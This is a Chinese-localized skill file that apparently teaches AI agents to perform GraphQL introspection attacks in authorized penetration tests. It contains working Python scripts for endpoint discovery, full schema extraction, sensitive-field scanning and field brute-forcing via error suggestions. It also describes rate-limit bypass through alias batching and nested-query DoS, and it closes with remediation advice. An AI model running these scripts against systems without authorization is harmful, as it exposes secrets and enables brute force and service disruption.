界面已本地化;技能介绍与说明文档按所选语言由 AI 自动翻译,代码、命令、路径和专业术语保留原文,以原作者文档为准。
探索技能
效率与协作 · SKILL.md

performing-graphql-introspection-attack

performing-graphql-introspection-attack

【效率与协作】执行 GraphQL 自省(Introspection)攻击,从 GraphQL 端点提取完整的 API Schema, 包括类型、查询(Query)、变更(Mutation)、订阅(Subscription)和字段定义。 测试人员使用自省查询绘制攻击面,识别敏感字段和变更操作,测试查询深度和复杂度限制, 并利用 GraphQL 特有漏洞,包括批量攻击、基于别名的暴力破解和嵌套查询 DoS。 适用于涉及 GraphQL 安全测试、自省攻击、GraphQL 枚举或 GraphQL API 渗透测试的请求。

独立 GitHub 快照 · 自动分类 · 以原作者文档为准

技能说明

GitHub

name: performing-graphql-introspection-attack description: > 执行 GraphQL 自省(Introspection)攻击,从 GraphQL 端点提取完整的 API Schema, 包括类型、查询(Query)、变更(Mutation)、订阅(Subscription)和字段定义。 测试人员使用自省查询绘制攻击面,识别敏感字段和变更操作,测试查询深度和复杂度限制, 并利用 GraphQL 特有漏洞,包括批量攻击、基于别名的暴力破解和嵌套查询 DoS。 适用于涉及 GraphQL 安全测试、自省攻击、GraphQL 枚举或 GraphQL API 渗透测试的请求。 domain: cybersecurity subdomain: api-security tags: [api-security, graphql, introspection, schema-extraction, query-abuse] version: 1.0.0 author: mahipal license: Apache-2.0

执行 GraphQL 自省攻击

适用场景

  • 测试 GraphQL 端点是否暴露了泄露完整 API Schema 的自省功能
  • 绘制 GraphQL API 的攻击面,识别敏感查询、变更和类型
  • 测试 GraphQL 特有漏洞,包括查询深度滥用、批量攻击和字段级别授权
  • 评估在自省被禁用时,是否可通过错误消息重建 Schema 的 GraphQL 实现
  • 评估通过深度嵌套或复杂 GraphQL 查询实现资源耗尽的防御措施

请勿在未获书面授权的情况下使用。Schema 提取和查询滥用测试可能影响服务可用性。

前置条件

  • 指定 GraphQL 端点和测试范围的书面授权
  • Burp Suite Professional 及 InQL 扩展(v6.1+),用于自动化 Schema 分析
  • Python 3.10+ 及 requests 和 gql 库
  • GraphQL Voyager 或 GraphQL Playground,用于 Schema 可视化
  • Clairvoyance 工具,用于在自省被禁用时重建 Schema
  • 用于 GraphQL 字段和类型名称暴力破解的字典文件

工作流程

步骤 1:发现 GraphQL 端点

import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# 常见 GraphQL 端点路径
GRAPHQL_PATHS = [
    "/graphql", "/graphql/", "/gql", "/query",
    "/api/graphql", "/api/gql", "/api/v1/graphql",
    "/v1/graphql", "/v2/graphql",
    "/graphql/console", "/graphql/playground",
    "/graphiql", "/altair", "/explorer",
    "/graph", "/api/graph",
]

# 探测 GraphQL 端点
for path in GRAPHQL_PATHS:
    # 使用简单的自省查询测试
    query = {"query": "{ __typename }"}
    try:
        resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL 端点:{TARGET}{path}")
            print(f"  响应:{resp.text[:200]}")
    except requests.exceptions.RequestException:
        pass

    # 也测试 GET 方法
    try:
        resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL 端点(GET):{TARGET}{path}")
    except requests.exceptions.RequestException:
        pass

步骤 2:完整自省查询

GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

# 提取完整 Schema 的全量自省查询
FULL_INTROSPECTION = {
    "query": """
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    """
}

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)

if resp.status_code == 200:
    schema = resp.json()
    if "data" in schema and "__schema" in schema["data"]:
        print("[VULNERABLE] 完整自省已启用")
        types = schema["data"]["__schema"]["types"]

        # 分类类型
        custom_types = [t for t in types if not t["name"].startswith("__")]
        queries = schema["data"]["__schema"]["queryType"]
        mutations = schema["data"]["__schema"].get("mutationType")

        print(f"\nSchema 摘要:")
        print(f"  自定义类型:{len(custom_types)}")
        print(f"  查询类型:{queries['name'] if queries else 'None'}")
        print(f"  变更类型:{mutations['name'] if mutations else 'None'}")

        # 列出所有自定义类型及其字段
        for t in custom_types:
            if t.get("fields"):
                print(f"\n  类型:{t['name']}")
                for field in t["fields"]:
                    field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
                    print(f"    - {field['name']}: {field_type}")

        # 保存 Schema 以供进一步分析
        with open("graphql_schema.json", "w") as f:
            json.dump(schema, f, indent=2, ensure_ascii=False)
        print("\nSchema 已保存到 graphql_schema.json")
    else:
        print("[SECURED] 自省已禁用或受限")
        print(f"响应:{resp.text[:500]}")
else:
    print(f"请求失败:{resp.status_code}")

步骤 3:识别 Schema 中的敏感数据

# 分析提取的 Schema,查找敏感字段和类型
SENSITIVE_INDICATORS = {
    "field_names": [
        "password", "passwordHash", "secret", "token", "apiKey", "ssn",
        "socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
        "privateKey", "internalId", "salary", "bankAccount", "taxId",
        "mfaSecret", "refreshToken", "sessionId", "debugInfo"
    ],
    "type_names": [
        "Admin", "Internal", "Debug", "Secret", "Private",
        "SystemConfig", "AuditLog", "PaymentInfo", "Credential"
    ],
    "mutation_names": [
        "deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
        "createAdmin", "disableMFA", "exportData", "deleteAuditLog",
        "updateConfig", "runMigration", "executeQuery"
    ]
}

if "data" in schema:
    print("\n=== 敏感 Schema 分析 ===\n")

    for t in custom_types:
        # 检查类型名称
        for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
            if sensitive_type.lower() in t["name"].lower():
                print(f"[SENSITIVE TYPE] {t['name']}")

        # 检查字段名称
        if t.get("fields"):
            for field in t["fields"]:
                for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
                    if sensitive_field.lower() in field["name"].lower():
                        print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")

    # 检查变更名称
    if mutations:
        mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
        if mutation_type and mutation_type.get("fields"):
            for mutation in mutation_type["fields"]:
                for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
                    if sensitive_mut.lower() in mutation["name"].lower():
                        print(f"[SENSITIVE MUTATION] {mutation['name']}")

步骤 4:自省禁用时重建 Schema

# 利用字段建议错误重建 Schema
def bruteforce_field(type_name, field_wordlist):
    """使用 GraphQL 错误消息发现有效字段。"""
    discovered_fields = []

    for field_name in field_wordlist:
        query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
        resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
        response_text = resp.text.lower()

        # GraphQL 通常在错误消息中提示有效字段名称
        if "did you mean" in response_text:
            # 提取建议
            import re
            suggestions = re.findall(r'"(\w+)"', resp.text)
            for s in suggestions:
                if s not in discovered_fields:
                    discovered_fields.append(s)
                    print(f"  [DISCOVERED] {type_name}.{s}(通过建议发现)")

        elif resp.status_code == 200 and "errors" not in resp.json():
            discovered_fields.append(field_name)
            print(f"  [VALID] {type_name}.{field_name}")

    return discovered_fields

# 常见 GraphQL 字段名称字典
FIELD_WORDLIST = [
    "id", "name", "email", "username", "password", "role", "token",
    "createdAt", "updatedAt", "status", "type", "description", "title",
    "firstName", "lastName", "phone", "address", "avatar", "bio",
    "isAdmin", "isActive", "permissions", "groups", "orders", "items",
    "price", "quantity", "total", "currency", "paymentMethod",
    "ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
    "apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]

# 尝试发现常见类型名称上的字段
for type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
    print(f"\n暴力枚举 '{type_name}' 上的字段:")
    fields = bruteforce_field(type_name, FIELD_WORDLIST)

核心概念

术语定义
GraphQL 自省(Introspection)查询 Schema 定义的内置功能,暴露 API 中所有可用的类型、字段、查询、变更和订阅
查询深度攻击(Query Depth Attack)发送深度嵌套查询导致指数级解析器执行,消耗服务器资源并可能引发 DoS
基于别名的批量攻击(Alias-Based Batching)使用 GraphQL 别名在单个请求中执行多个操作,绕过每请求速率限制
Schema 重建(Schema Reconstruction)在自省被禁用时,通过分析错误消息和字段建议重建 GraphQL Schema
字段级别授权(Field-Level Authorization)根据已认证用户的角色或权限控制对 GraphQL 类型中各字段的访问
查询复杂度分析(Query Complexity Analysis)在执行前计算 GraphQL 查询的计算成本,以强制执行资源限制

工具与系统

  • InQL(Burp Suite 扩展):自动化 GraphQL 自省、Schema 分析和攻击生成,支持 Schema 暴力破解
  • Clairvoyance:即使自省被禁用时也能工作的 Schema 重建工具,使用基于错误的字段发现
  • GraphQL Voyager:从自省结果生成交互式图表的可视化 Schema 探索器
  • Altair GraphQL Client:功能丰富的 GraphQL IDE,支持认证的查询测试
  • graphql-cop:GraphQL 安全审计工具,测试常见错误配置,包括自省、字段建议和查询限制

常见场景

场景:电商 GraphQL API 安全评估

背景:一个电商平台从 REST 迁移到 GraphQL。GraphQL 端点为 Web 和移动前端提供服务。自省在开发期间保持启用,但未在生产环境中禁用。

方法:

  1. 对 /graphql 端点运行完整自省查询——完整 Schema 包含 45 个类型、120 个查询和 38 个变更
  2. 识别敏感类型:AdminUser、PaymentInfo、InternalConfig、AuditLog
  3. 发现 User 类型暴露 passwordHash、mfaSecret 和 lastLoginIp 字段
  4. 找到普通用户可访问的管理员变更:deleteUser、updateRole、exportAllOrders
  5. 测试查询深度:无限制执行,深度 50 层的嵌套查询成功执行需 45 秒
  6. 测试别名批量:单个请求中 1000 次登录尝试绕过速率限制
  7. 测试批量查询:接受 500 个查询的数组,无任何限制
  8. Schema 揭露内部 InternalConfig 类型,包含 databaseConnectionString 和 stripeSecretKey 字段

输出格式

## 发现:GraphQL 自省已启用并暴露敏感 Schema

**ID**:API-GQL-001
**严重性**:高(CVSS 7.5)
**受影响端点**:POST /graphql
**使用工具**:InQL、Clairvoyance、自定义 Python 脚本

**描述**:
GraphQL 端点在生产环境中启用了自省,暴露了完整的 API Schema,
包括 45 个类型、120 个查询和 38 个变更。
Schema 揭示了敏感内部类型(AdminUser、PaymentInfo、InternalConfig),
并暴露了包含密码哈希、MFA 密钥和数据库连接字符串的字段。
未执行查询深度或复杂度限制,可通过嵌套查询实现拒绝服务。

**修复建议**:
1. 在生产环境中禁用自省
2. 使用 GraphQL 指令实现字段级别授权(@auth、@hasRole)
3. 从 Schema 中删除敏感字段或添加授权中间件限制访问
4. 实施查询深度限制(最大 10 层)和复杂度评分
5. 禁用错误消息中的字段建议以防止 Schema 重建
6. 对 GraphQL 请求按查询而非按 HTTP 请求进行速率限制
我的收藏